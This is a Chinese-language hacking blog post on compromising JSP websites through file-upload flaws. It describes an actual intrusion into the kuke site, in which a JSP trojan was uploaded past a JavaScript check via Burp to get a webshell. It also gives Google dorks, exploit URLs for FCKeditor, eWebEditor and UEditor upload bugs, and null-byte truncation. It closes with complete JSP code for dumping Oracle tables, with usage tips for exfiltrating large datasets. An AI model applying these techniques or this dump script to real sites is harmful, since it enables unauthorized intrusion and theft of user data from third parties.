jsp上传漏洞-拿下kule-分析报告
0×00:百度被黑的思考
0×01:简单拿下kuke
0×02:谷歌一下+相关资料
0×03:对jsp漏洞的分析
0×04:对oracle脱裤科普
0×00:百度被黑的思考
先看下漏洞信息:
—————————————————————————————————————————
百度分站任意文件上传
madv.baidu.com
注册
然后上传资质文件
传jsp木马
然后查看资质信息
ps:jsp架构的网站一般对上传过滤不严格
——————————————————————————————————————————
说实话哈,这种漏洞还是多次暴雷的出现在大型站点上…..
由于jsp多出现在大型站点+gov+edu上所以请大家把握尺度,不要做错非法行动。
0×01:简单拿下kuke
现在就以kuke这个jsp站点进行实例分析。
首先拜祭比较文艺范的主页:
对于这种站点主站一般漏洞比较不明显,一般走向是对2级站点进行漏洞收集,
二就是通过注册用户检测上传过滤情况,三就是曲线救国了。
这里选择注册用户检测上传过滤情况,点击注册后,自动跳转到一个二级域名(看来还是二级域名的漏洞)。
注册了一个用户:
修改资料的地方有头像上传,选择图片后,直接弹出如图所示的提示,明显的javascript本地验证(详见突破上传总结):
将jsp木马改为jpg,用burp截断上传(这里就不用修改javascript验证了)。
截断的数据中将jpg改为jsp。
成功获取webshell。
当然是不是就只有这种拿站的方法,当你选择第二条扫描旁站漏洞时你会扫除jsp编辑器。
http://edu2b.XXX.com/ewebeditor/admin/login.jsp
http://www.XXX.com /FCKeditor/editor/fckeditor.html
http://edu2b.XXX.com/FCKeditor/editor/dialog/fck_about.html
0×02:谷歌一下+相关资料
由于jsp站点就构造下语句搜索下
inurl:upload.jsp 上传
很不幸的是,第一个站就和上面一样轻松的被沦陷….(请不要捅菊花)
在网上看了相关资料,发现这是普遍存在都情况
腾讯:
多玩YY:
激动网:
12320:
…..
还有很多案例。
为什么会出现这样的漏洞,怎样利用这样的漏洞进行渗透测试?
0×03:对jsp漏洞的分析
为什么会出现这样的漏洞,究其根本是程序员的安全意识弱和管理员的懒惰,
很多jsp站点,当你进去看时全是07 08年的包括很多大站。
相对来说jsp的站点时比其他架构的站点要安全点,因为它很少开源,一般的注入漏洞很少出现。还有就是多出现在天朝的站点上…….
相对来说jsp的站点一旦进入后台,通过上传jsp拿shell一般是很容易的。
怎么利用?
一、 jsp编辑器
早期时候,常有这样的批量拿站。
inurl:web/resource/newspic
在网站后加:
web/webeditor/eWebEditor.jsp
直接上传jsp马。
这个就是jsp版ewebeditor编辑器的漏洞。
Fck编辑器
Fckeditor jsp版漏洞利用方法:
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F
用这个地址查找上传图片的路径,存在漏洞的话应该返回一个xml文件
然后用
http://www.2ctocom /fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
这个地址上传jsp文件,如果网站对上传文件的后缀作了限制,那么就新建一个名字为new的文件夹,修改上面url中的Type=Image为Type=new,把文件上传到这个文件夹,这个文件夹一般就不会对文件后缀作限制了。
Version 2.4.1 测试通过
Version2.6.6测试未通过
百度Ueditor开源编辑器
漏洞只存在于1.2.2以前的版本。
问题出在imageUp.jsp
这里使用java正则表达式验证上传文件的文件名,重新设置文件名的时候,没有使用lastIndexOf()方法来找最后一个点,导致可以上传xx.jpg.jsp,xx.png.jsp
等类型文件,强烈建议官方修改这个,虽然官方声明此上传jsp做示例,但很多程序员,站长,基本没有修改就使用了。
二、 上传突破的方法同asp和php一样
无过滤上传
这个不多讲,直接上传jsp
Javascript本地验证
这是jsp类网站存在最常见的漏洞
突破方法详见突破上传总结
0×00截断
在jsp上传中同样可以用0×00截断上传。
…….
0×04:对oracle脱裤科普
同样,首先找到配置文件,oracle的配置文件一般存在.xml文件中,当然也有可能存在oracle.jsp中,就如kuke的一样。
如何脱裤,很简单,这里用到习科大牛的一个jsp+oracle进行脱裤
- <%@ page contentType=”text/html;charset=gb2312″%>
- <%@ page import=”java.lang.*”%>
- <%@ page import=”java.sql.*”%>
- <%@ page import=”java.util.*”%>
- <%@ page import=”java.io.*”%>
- <html>
- <head>
- <meta http-equiv=Content-Type content=”text/html; charset=gb2312″>
- <title>xxx</title>
10. <style type=”text/css”>
11. body,td{font-size: 12px;}
12. body{margin-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;}
13. td{white-space:nowrap;}
14. a{color:black;text-decoration:none;}
15. </style>
16. </head>
17. <body>
18. <body>
19. <table border=1>
20. <tr>
21. <td>1</td><td>2</td><td>3</td><td>4</td><td>5</td><td>6</td><td>7</td><td>8</td><td>9</td><td>10</td>
22. </tr>
23. <%Class.forName(“oracle.jdbc.driver.OracleDriver”).newInstance();
24. String url=”jdbc:oracle:thin:@localhost:1521:orcl”;
25. String user=”oracle_admin”;
26. String password=”oracle_password”;
27. Connection conn= DriverManager.getConnection(url,user,password);
28. Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
29. String sql=”SELECT 1,2,3,4,5,6,7,8,9,10 from user_info”;
30. ResultSet rs=stmt.executeQuery(sql);
31. while(rs.next()) {%>
32. <tr>
33. <td><%=rs.getString(1)%></td>
34. <td><%=rs.getString(2)%></td>
35. <td><%=rs.getString(3)%></td>
36. <td><%=rs.getString(4)%></td>
37. <td><%=rs.getString(5)%></td>
38. <td><%=rs.getString(6)%></td>
39. <td><%=rs.getString(7)%></td>
40. <td><%=rs.getString(8)%></td>
41. <td><%=rs.getString(9)%></td>
42. <td><%=rs.getString(10)%></td>
43. </tr>
44. <%}%>
45. <%rs.close();
46. stmt.close();
47. conn.close();
48. %>
49. </body>
50. </html>
使用说明:
line24~line26分别设置Oracle数据库的登陆url,登陆账户和密码
登陆信息通常位于网站容器的.xml配置文件中。
line29设置要导出的表,导出之前请在webshell或者数据库中执行select count(*) from 表名 来看一下记录数。
通常过万的记录数可能导致浏览器耗尽资源等造成崩溃等现象。
select后面跟几个字段,line21设置几个td标签,后面就跟几个re.getString。
若数据过万,可在line29的select后面的加一个 where rownum < 11来限定一下结果数。若返回结果,则去掉保存,不返回结果请检查SQL语句语法或连接信息
数据过万后,保存完设置信息,将此程序url扔进迅雷,FlashGET等程序即可下载,下载中会一直显示99%直至下载结束,因为下载结束前文件不知道有多大
共有 0 条评论